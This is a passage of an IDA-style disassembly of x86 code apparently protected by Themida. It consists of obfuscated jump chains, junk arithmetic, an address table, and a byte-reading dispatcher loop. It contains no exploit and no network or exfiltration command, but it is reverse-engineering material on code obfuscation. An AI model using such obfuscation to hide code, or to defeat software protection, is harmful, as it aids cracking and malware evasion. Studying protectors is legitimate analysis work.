		jmp	loc_58A3B9
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------


loc_597AF8:				; CODE XREF: Themida_:0059728Cj
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 67F3567h
		sub	ebx, 6CD63853h
		shr	ebx, 5
		dec	ebx
		neg	ebx
		jmp	loc_5976CC
; ---------------------------------------------------------------------------


loc_597B22:				; CODE XREF: Themida_:00590C95j
		inc	bp
		jmp	loc_59606A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_597B29:				; CODE XREF: sub_59762D-7F81j
		add	ebx, edx
		pop	edx
		push	17EAh
		mov	dword ptr [esp-0Ch+arg_8], eax
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------


loc_597B39:				; CODE XREF: Themida_:00593644j
		push	88Ch
		jmp	loc_596A03
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592D25


loc_597B43:				; CODE XREF: sub_592D25-20B7j
		push	edi
		mov	edi, 2A6A22E5h
		mov	ebp, edi
		pop	edi
		add	ebp, 78C266EDh
		jmp	loc_58F47E
; END OF FUNCTION CHUNK	FOR sub_592D25
; ---------------------------------------------------------------------------


loc_597B57:				; CODE XREF: Themida_:00597126j
		xor	eax, 46551346h
		push	esi
		mov	esi, 0BC77E41h
		sub	eax, esi
		pop	esi
		push	esi
		mov	esi, 5C1726F7h
		xchg	ecx, esi
		dec	ecx
		xchg	ecx, esi
		jmp	loc_596508
; ---------------------------------------------------------------------------


loc_597B75:				; CODE XREF: Themida_:00594670j
		sub	ecx, 23AB31F5h
		dec	ecx
		sub	ecx, 0ABEF97DAh
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	ebx, 0C6560C33h
		jmp	loc_59518A
; ---------------------------------------------------------------------------


loc_597B97:				; CODE XREF: Themida_:loc_58EC67j
		add	bp, 0EDEEh
		push	edi
		mov	di, bp
		mov	si, di
		pop	edi
		pop	ebp
		sub	ax, 2513h
		sub	ax, si
		jmp	loc_591897
; ---------------------------------------------------------------------------


loc_597BB1:				; CODE XREF: Themida_:00597A5Ej
		sub	eax, 6FBA703Bh
		push	esi
		push	edx
		mov	edx, 774A1DAAh
		xchg	ecx, edx
		add	ecx, 0FFFFFFFFh
		xchg	ecx, edx
		push	ecx
		jmp	loc_58E8BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F836


loc_597BCD:				; CODE XREF: sub_58F836-B4Fj
		or	eax, 55040E58h
		neg	eax
		xor	eax, 1AA1A10h
		push	ebp
		mov	ebp, 0A341ABB1h
		xor	eax, ebp
		mov	ebp, [esp+0Ch+var_C]
		jmp	loc_58E296
; END OF FUNCTION CHUNK	FOR sub_58F836
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_597BE9:				; CODE XREF: sub_595E21-478Fj
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp-4+arg_0]
		jmp	loc_5942C0
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_597BF9:				; CODE XREF: sub_590010-1A8Bj
		sub	edi, 4
		jmp	loc_58B77F
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_597C04:				; CODE XREF: Themida_:00596155j
		xor	[esp], si
		push	ecx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_5970B6
; ---------------------------------------------------------------------------


loc_597C14:				; CODE XREF: Themida_:00594698j
		add	ebp, 47FD63F7h
		add	ebp, eax
		sub	ebp, 47FD63F7h
		add	ebp, 4F3A6CB6h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_59153E
; ---------------------------------------------------------------------------


loc_597C37:				; CODE XREF: Themida_:0058DB48j
		push	esi
		push	7C6Dh
		jmp	near ptr byte_58B4F3
; ---------------------------------------------------------------------------


loc_597C42:				; CODE XREF: Themida_:00595FE2j
		xor	bl, cl
		jmp	loc_58BBB2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_597C49:				; CODE XREF: sub_5938B9+232Aj
		add	esp, 4
		push	esi
		jmp	loc_58A45D
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595123


loc_597C55:				; CODE XREF: sub_595123+1428j
		sub	eax, 4FC95A1Eh
		push	dword ptr [edi+eax*4]
		push	[esp+4+var_4]
		jmp	loc_592BDB
; END OF FUNCTION CHUNK	FOR sub_595123
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_597C65:				; CODE XREF: sub_58C17E+B70Aj
		or	ebx, 1FA147B2h
		shr	ebx, 1
		jmp	loc_58C1AC
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_597C72:				; CODE XREF: Themida_:00592AD2j
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 2
		add	ecx, ebp
		jmp	loc_5967AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_597C85:				; CODE XREF: sub_58C17E+502Fj
		mov	edx, 31B152B2h
		add	ecx, edx
		pop	edx
		jmp	loc_58CFC1
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_597C92:				; CODE XREF: sub_590467+4164j
		jnz	sub_59089C
		push	ebx
		mov	ebx, 0FFFFFFFFh
		add	esi, ebx
		jmp	loc_592BA1
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594654


loc_597CA5:				; CODE XREF: sub_594654-5A8Ej
		pop	esi
		pop	[esp+0Ch+var_C]
		pop	esp
		add	edx, 2
		sub	esp, 4
		jmp	loc_58C0D8
; END OF FUNCTION CHUNK	FOR sub_594654
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_597CBB:				; CODE XREF: sub_58C17E-244j
		sub	ecx, 1A3025A4h
		mov	[ecx], al
		jmp	loc_5916BC
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_597CC8:				; CODE XREF: sub_58F5B5-3C80j
		jbe	loc_58B3F5
		jmp	loc_58D612
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_597CD3:				; CODE XREF: Themida_:00593964j
		push	6ACC00F7h
		pop	ebx
		dec	ebx
		not	ebx
		shr	ebx, 8
		jmp	loc_595D42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_597CE4:				; CODE XREF: sub_5916C4+2j
		mov	eax, 42AE666Eh
		mov	ebp, 0E05A776h
		add	ebp, eax
		pop	eax
		jmp	loc_592972
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_597CF6:				; CODE XREF: sub_58F5B5-4D6Bj
		jno	loc_58D6C5
		xor	ebp, 347A4849h
		jno	loc_594719
		sub	ebp, 4291057Dh
		jmp	sub_5921D8
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_597D13:				; CODE XREF: Themida_:00591325j
		sub	cl, 31h
		mov	ah, cl
		pop	ecx
		push	ecx
		jmp	loc_58BEED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_597D1F:				; CODE XREF: sub_5916CB+5333j
		xchg	ebx, [esp+0]
		pop	esp
		sub	esp, 4
		mov	[esp+0], ebp
		push	edx
		push	ebp
		mov	ebp, 5750E80h
		jmp	loc_58F172
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_597D35:				; CODE XREF: sub_59762D-B28Aj
		mov	[esp+0], bx
		push	eax
		mov	al, 26h
		mov	bl, al
		pop	eax
		push	eax
		jmp	loc_594048
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_597D45:				; CODE XREF: sub_5916CB+504Aj
		pop	eax
		add	ebp, 1
		shl	ebp, 2
		push	ecx
		jmp	loc_58E5C6
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_597D55:				; CODE XREF: sub_58F5B5+4B9Cj
		push	esp
		pop	edi
		add	edi, 4
		push	ebp
		mov	ebp, 3F591169h
		xchg	eax, ebp
		jmp	loc_58E22C
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BDA


loc_597D69:				; CODE XREF: sub_595BDA-A9A6j
					; Themida_:00594EBAj
		jnp	loc_58AC50
		shl	esi, 2
		jmp	loc_5938EF
; END OF FUNCTION CHUNK	FOR sub_595BDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_597D77:				; CODE XREF: sub_5916CB+3303j
		mov	[esp+0], eax
		push	7E2Bh
		mov	[esp+4+var_4], ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_58C50F
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------


loc_597D8C:				; CODE XREF: Themida_:00596F66j
		mov	[esp], esi
		jmp	loc_5941ED
; ---------------------------------------------------------------------------


loc_597D94:				; CODE XREF: Themida_:00595027j
		add	bx, 3583h
		add	bx, ax
		sub	bx, 3583h
		jmp	loc_58E449
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B4D6


loc_597DA6:				; CODE XREF: sub_58B4D6+6E8Ej
		add	ebx, 2D747446h
		push	edx
		jmp	loc_58EF5A
; END OF FUNCTION CHUNK	FOR sub_58B4D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_597DB2:				; CODE XREF: Themida_:0058AC03j
					; sub_590467-167Cj
		mov	edi, 413D2EFBh
		jmp	loc_58D883
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_597DBC:				; CODE XREF: Themida_:00592E59j
		push	small 782Ch
		pop	cx
		sub	cx, 21C9h
		jb	loc_59629B
		add	cx, 0CA32h
		mov	bp, cx
		mov	ecx, [esp]
		add	esp, 4
		sub	bx, bp
		mov	bp, [esp]
		add	esp, 2
		movzx	eax, ax
		jmp	loc_590CC9
; ---------------------------------------------------------------------------


loc_597DF0:				; CODE XREF: Themida_:00591649j
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_597DF5:				; CODE XREF: Themida_:00596DD5j
		dec	edx
		shr	edx, 1
		or	edx, 42AB7548h
		neg	edx
		jmp	loc_59376D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B4D6


loc_597E05:				; CODE XREF: sub_58B4D6+2D46j
		xchg	edx, [esp+10h+var_10]
		pop	esp
		push	3775h
		jmp	loc_594DE0
; END OF FUNCTION CHUNK	FOR sub_58B4D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_597E13:				; CODE XREF: sub_58C17E+662Ej
		push	6524558Ch
		pop	edx
		jmp	loc_594B2B
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_597E1E:				; CODE XREF: Themida_:00592C0Dj
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		push	ecx
		mov	ch, 0CFh
		mov	bh, ch
		mov	ecx, [esp]
		jmp	loc_593B09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_597E38:				; CODE XREF: sub_58C17E-500j
		mov	[esp-0Ah+arg_4+2], edi
		mov	edi, 66FD314Fh
		jmp	loc_5903B3
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BDA


loc_597E45:				; CODE XREF: sub_595BDA-1081j
		mov	esi, 281138E9h
		shl	esi, 1
		inc	esi
		jmp	loc_58DED8
; END OF FUNCTION CHUNK	FOR sub_595BDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_597E52:				; CODE XREF: sub_58C17E+770Aj
		sub	ebp, 159F6B74h
		pop	edx
		shr	ebp, 5
		sub	ebp, 35305ABh
		and	eax, ebp
		push	dword ptr [esp+0]
		pop	ebp
		jmp	loc_58FF50
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_597E6D:				; CODE XREF: Themida_:005951EFj
		mov	ebx, 3D053847h
		mov	ebp, ebx
		pop	ebx
		mov	edx, 3D053849h
		jmp	loc_58CF65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_597E7F:				; CODE XREF: sub_58C17E-1C13j
					; sub_590010+53Bj
		shl	edx, 1
		push	ebp
		mov	ebp, 1
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+0]
		pop	esp
		mov	[esp+0], ebx
		mov	ebx, 24h
		add	ebx, edi
		push	eax
		push	edx
		jmp	loc_58C8DB
; ---------------------------------------------------------------------------


loc_597EAB:				; CODE XREF: sub_590010-22DDj
		xor	esi, 55980443h
		add	eax, esi
		jmp	loc_596ADA
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_597EB8:				; CODE XREF: Themida_:0058E7BDj
					; Themida_:00590FBCj
		rol	byte ptr [esp],	cl
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_597EC1:				; CODE XREF: sub_590010-F0Aj
		push	ax
		pushf
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_597EC9:				; CODE XREF: Themida_:00595074j
		push	esp
		pop	ecx
		jmp	loc_58EC82
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_597ED0:				; CODE XREF: sub_5EC2E8-55F2Aj
		not	dh
		dec	dh
		sub	dh, 23h
		jmp	loc_58BD84
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
		lodsd
		push	ebx
		jmp	loc_58AE49
; ---------------------------------------------------------------------------


loc_597EE3:				; CODE XREF: Themida_:0059607Bj
		shl	dx, 5
		shl	dx, 3
		jmp	loc_596E88
; ---------------------------------------------------------------------------


loc_597EF0:				; CODE XREF: Themida_:0058F1CEj
		shl	edi, 6
		or	edi, 7CF721FEh
		shl	edi, 1
		add	edi, 7CFA646Ch
		xor	edi, 2159D00Fh
		xor	esi, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ebp, esi
		mov	esi, [esp]
		jmp	loc_597506
; ---------------------------------------------------------------------------


loc_597F1C:				; CODE XREF: Themida_:loc_591375j
		add	ecx, 3EE91676h
		jnb	loc_58EE18
		inc	ecx
		jmp	loc_594AD9
; ---------------------------------------------------------------------------
		and	dh, 0A5h
		mov	ebp, edi


loc_597F33:				; CODE XREF: Themida_:00591E55j
		sub	esp, 4
		jmp	loc_593A03
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_597F3B:				; CODE XREF: sub_58F5B5+6739j
		push	[esp-8+arg_4]
		jmp	loc_5969BC
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_597F43:				; CODE XREF: sub_5916C4+3DD7j
		pop	edi
		add	eax, 44230C85h
		sub	eax, esi
		sub	eax, 44230C85h
		mov	esi, [esp-0Ch+arg_8]
		add	esp, 4
		sub	esp, 4
		jmp	loc_596CC1
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_597F61:				; CODE XREF: sub_5EC2E8-552F8j
		mov	dl, al
		pop	eax
		neg	dl
		jmp	loc_58A82E
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_597F6B:				; CODE XREF: sub_590010-534Bj
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_597F70:				; CODE XREF: Themida_:loc_5956D6j
		sub	dh, 0B2h
		jmp	loc_58B66F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595655


loc_597F78:				; CODE XREF: sub_595655-8C13j
		not	eax
		inc	eax
		sub	eax, 0BA73FD3Eh
		add	esi, eax
		pop	eax
		push	edx
		mov	edx, 6CCA5E18h
		sub	edx, 0D575D43h
		and	esi, edx
		pop	edx
		jmp	loc_59440A
; END OF FUNCTION CHUNK	FOR sub_595655
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59524C


loc_597F97:				; CODE XREF: sub_59524C-3FD1j
		sub	ebx, 26473568h
		sub	ebx, ecx
		jmp	loc_58AFD0
; END OF FUNCTION CHUNK	FOR sub_59524C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_597FA4:				; CODE XREF: sub_5938B9-6300j
		pop	ecx
		add	edi, ecx
		add	edi, 66FE2553h
		push	eax
		jmp	loc_593BE4
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------


loc_597FB3:				; CODE XREF: Themida_:loc_592DD7j
		push	ebp
		jmp	loc_593F2B
; ---------------------------------------------------------------------------


loc_597FB9:				; CODE XREF: Themida_:00590F89j
		add	esi, 117B0109h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_595962
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_597FCA:				; CODE XREF: sub_590467-533Aj
		mov	edi, [esp+0Ah+var_A]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		sub	edi, 1FF7741Eh
		jnz	loc_59703D
		sub	edi, 0C0E3F7C9h
		jmp	loc_592777
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_597FF7:				; CODE XREF: Themida_:005942BBj
		xor	eax, esi
		jmp	loc_58E69E
; ---------------------------------------------------------------------------


loc_597FFE:				; CODE XREF: Themida_:0058BF54j
		mov	al, 94h
		push	ebx
		mov	bl, al
		push	eax
		mov	al, bl
		mov	dh, al
		pop	eax
		pop	ebx
		jmp	loc_596C13
; ---------------------------------------------------------------------------


loc_59800F:				; CODE XREF: Themida_:0058ED04j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58F396
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_598018:				; CODE XREF: sub_58C17E+49DDj
		pop	ebx
		push	esi
		jmp	loc_58E5EE
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_59801F:				; CODE XREF: Themida_:0058DC14j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_595E52

; =============== S U B	R O U T	I N E =======================================



sub_598028	proc near		; CODE XREF: sub_58C17E+3717j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00591866 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00596914 SIZE 0000000F BYTES

		sub	esp, 4
		jmp	loc_596914
sub_598028	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_598030:				; CODE XREF: sub_58C17E+976Dj
		push	4811h
		mov	[esp+0Ah+var_C+2], eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	ebx
		mov	ebx, 58A13B59h
		sub	ebx, 51711A3Bh
		sub	ebx, 730211Ah
		add	eax, ebx
		jmp	loc_58CBDC
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_59805F:				; CODE XREF: sub_590010+CB4j
		pop	ecx
		jmp	loc_58C5DA
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
		align 2
		dw 5F28h
		dd 5BA36300h, 5F352300h, 12FF4C00h, 90EB9400h, 74248B7Ch
		dd 0F8h, 21300h, 200h, 100h, 300h, 74248B00h, 0F8h, 4 dup(0)
		dd 5A8DB400h, 59897200h, 598DD600h, 59999300h, 5AA2DD00h
		dd 5A122500h, 5A025B00h, 59B09F00h, 59965D00h, 5A0C3200h
		dd 59DDD000h, 5A648400h, 599A5200h, 59EEF500h, 5A924A00h
		dd 5AB33D00h, 5AC46D00h, 5A26C300h, 599B1A00h, 5A4D1F00h
		dd 5A08DA00h, 5A96B400h, 5A7DC800h, 5A0B0100h, 5AE43D00h
		dd 5AE99C00h, 5A479200h, 59BF6900h, 5A983000h, 59907400h
		dd 5A7B4D00h, 5A1E6100h, 5A18C100h, 5A2C9500h, 5A6B7500h
		dd 5A404A00h, 5ABF7A00h, 5A6F8D00h, 5A942C00h, 59AD8B00h
		dd 5A529500h, 59F43D00h, 5A970900h, 59AB1B00h, 5A3FD800h
		dd 5A29D000h, 5990EA00h, 5A239200h, 5A0B4800h, 59D4C200h
		dd 59E89A00h, 5A3FBB00h, 5A662B00h, 5AD15F00h, 5A490900h
		dd 59D03100h, 5A5E2200h, 59B00A00h, 5A50E000h, 5A8E3100h
		dd 5AE58400h, 59B08400h, 59BC7800h, 5AE9BC00h, 5A089500h
		dd 5A671400h, 5AB7ED00h, 5A7C3F00h, 5ADD9800h, 59AE7A00h
		dd 5A8C5000h, 59B19D00h, 59E07900h, 5A6BCB00h, 59E2FC00h
		dd 5ADC3600h, 5A88AA00h, 5A2D0300h, 5AC80F00h, 5A00EB00h
		dd 5985E200h, 59C24000h, 5AA68400h, 5AC75F00h, 5A161300h
		dd 59A14B00h, 59A06D00h, 599A7800h, 5A397900h, 5A5DBE00h
		dd 5A758C00h, 5AF32100h, 5A60F600h, 59B2F900h, 5AA4DF00h
		dd 59F4EC00h, 5A190D00h, 5995C600h, 5A03EE00h, 5A60D600h
		dd 5A9C9B00h, 5A03B400h, 59C63F00h, 59E8C100h, 5AD60900h
		dd 5A563600h, 59A1B700h, 5AE30700h, 59D05000h, 59C66C00h
		dd 5A56F200h, 5AA09B00h, 5A3B2500h, 5A9CDB00h, 5A350900h
		dd 5ADC1200h, 59C8DF00h, 5AE81600h, 5ABD6100h, 5A6D9500h
		dd 59AE7400h, 5A4DF700h, 5AA2A200h, 5AD1C100h, 5AAA3C00h
		dd 5A098300h, 5A466200h, 5A474900h, 5ADA7800h, 5A2BE800h
		dd 5AE52F00h, 5A1BDA00h, 5AB85400h, 5AC66C00h, 5A92A300h
		dd 5A535700h, 59D52000h, 5A4D9500h, 5AADE600h, 59D64000h
		dd 5A2B1700h, 5ADDFD00h, 59C5D500h, 5A813F00h, 59C88E00h
		dd 59ED8E00h, 5ABFE500h, 5A92C000h, 5A906500h, 5A10C600h
		dd 59CFCE00h, 5A8C9400h, 5A0CC100h, 59C4E800h, 5A2B2500h
		dd 59DEB700h, 5AE08A00h, 59CF7000h, 5A9FA100h, 5A14AD00h
		dd 5AE75F00h, 59BF8800h, 5A66E100h, 5AF01B00h, 5A522500h
		dd 5AC40E00h, 5A976300h
		db 0
; ---------------------------------------------------------------------------


loc_598345:				; CODE XREF: Themida_:005DF91Ej
					; Themida_:005DF928j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 7E55EC2h
		mov	eax, edi
		add	edi, 7E55BDAh
		cmp	eax, [edi+2Ch]
		jnz	short loc_598363
		jmp	short loc_598376
; ---------------------------------------------------------------------------


loc_598363:				; CODE XREF: Themida_:0059835Fj
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_598372
; ---------------------------------------------------------------------------


loc_59836D:				; CODE XREF: Themida_:00598374j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_598372:				; CODE XREF: Themida_:0059836Bj
		or	ecx, ecx
		jnz	short loc_59836D


loc_598376:				; CODE XREF: Themida_:00598361j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_598383:				; CODE XREF: Themida_:0059838Aj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_598383


loc_59838C:				; CODE XREF: Themida_:00598637j
					; Themida_:0059867Dj ...
		lodsb
		add	al, 0E5h
		push	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 5
		mov	cl, 0C4h
		sub	cl, bh
		pop	ebx
		shl	cl, 3
		jz	loc_598893
		push	ecx
		not	byte ptr [esp]
		pop	ecx
		jmp	loc_599B67
; ---------------------------------------------------------------------------


loc_5983B3:				; CODE XREF: Themida_:0059B013j
		push	99E6F38h
		pop	ebx
		jmp	loc_5A7870
; ---------------------------------------------------------------------------


loc_5983BE:				; CODE XREF: Themida_:005A49B6j
		jmp	loc_5AB2F9
; ---------------------------------------------------------------------------


loc_5983C3:				; CODE XREF: Themida_:005A3D72j
		push	ecx
		mov	ecx, 0AD80098h
		sub	ebx, ecx
		pop	ecx
		add	ebx, 3C5E13CCh
		sub	ebx, edi
		push	esi
		mov	esi, 3C5E13CCh
		sub	ebx, esi
		pop	esi
		add	ebx, 0AD80098h
		pop	edi
		add	edx, 9371432h
		add	edx, ebx
		sub	edx, 9371432h
		pop	ebx
		add	edx, 4
		jmp	loc_59FC9B
; ---------------------------------------------------------------------------


loc_5983FB:				; CODE XREF: Themida_:005ADEEBj
		or	ecx, 6C77500Bh
		xor	ecx, 7FFF71EBh
		mov	esi, ecx
		pop	ecx
		jmp	loc_5AC05E
; ---------------------------------------------------------------------------


loc_59840F:				; CODE XREF: Themida_:005A2063j
		mov	[esp], ecx
		push	esi
		mov	esi, 7EA74940h
		dec	esi
		jle	loc_5AED46
		xor	esi, 0A820A029h
		mov	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		push	esi
		mov	esi, 20F5695Dh
		sub	eax, 3B441546h
		sub	eax, esi
		jmp	loc_5AC089
; ---------------------------------------------------------------------------


loc_598442:				; CODE XREF: Themida_:005A59ECj
		mov	eax, 6FBE0273h
		xor	edi, eax
		jmp	loc_5A097D
; ---------------------------------------------------------------------------


loc_59844E:				; CODE XREF: Themida_:005A0C62j
		pop	ebx
		xor	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	ebp, esi
		pop	esi
		jmp	loc_59BFAE
; ---------------------------------------------------------------------------


loc_598462:				; CODE XREF: Themida_:005AF582j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_5ACE99
; ---------------------------------------------------------------------------


loc_59846E:				; CODE XREF: Themida_:0059A293j
		push	eax
		mov	al, 10h
		dec	al
		neg	al
		neg	al
		dec	al
		shr	al, 3
		add	al, 66h
		add	bh, 4Ah
		push	eax
		mov	al, 0E0h
		sub	bh, al
		pop	eax
		add	bh, al
		add	bh, 0E0h
		sub	bh, 4Ah
		pop	eax
		add	dl, bh
		pop	ebx
		add	al, 6Dh
		add	al, dl
		sub	al, 6Dh
		mov	edx, [esp]
		jmp	loc_5A7B1D
; ---------------------------------------------------------------------------


loc_5984A1:				; CODE XREF: Themida_:005A8B2Fj
		add	esi, 0BCD5DE8Dh
		add	ecx, 3223711Eh
		add	ecx, 223B519Ah
		add	ecx, esi
		sub	ecx, 223B519Ah
		sub	ecx, 3223711Eh
		pop	esi
		add	ecx, 2
		push	ecx
		jmp	loc_5ABA59
; ---------------------------------------------------------------------------


loc_5984CE:				; CODE XREF: Themida_:00599C92j
		mov	esi, 30B35510h
		or	esi, 79DD7221h
		push	edx
		mov	edx, 3B793063h
		and	esi, edx
		pop	edx
		push	5963h
		mov	[esp], ebx
		mov	ebx, 3D1E25C7h
		xor	ebx, 52017B37h
		add	esi, ebx
		jmp	loc_59B0CF
; ---------------------------------------------------------------------------


loc_5984FC:				; CODE XREF: Themida_:005A4B9Dj
		mov	eax, [esp]
		add	esp, 4
		xchg	esi, [esp]
		jmp	loc_59B2A1
; ---------------------------------------------------------------------------


loc_59850A:				; CODE XREF: Themida_:0059C4CBj
		push	esi
		jmp	loc_5A3D3C
; ---------------------------------------------------------------------------


loc_598510:				; CODE XREF: Themida_:0059B918j
					; Themida_:005A4B01j
		jz	loc_5AD674
		shl	ebx, 1
		jnp	loc_5ABFCB
		jmp	loc_5A6310
; ---------------------------------------------------------------------------


loc_598523:				; CODE XREF: Themida_:005A976Fj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_5A3B56
; ---------------------------------------------------------------------------


loc_598534:				; CODE XREF: Themida_:005A9161j
		sub	eax, esi
		pop	esi
		pop	ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_5A30BC
; ---------------------------------------------------------------------------


loc_598554:				; CODE XREF: Themida_:005A617Cj
		add	[esp+4], edi
		pop	edi
		pop	edx
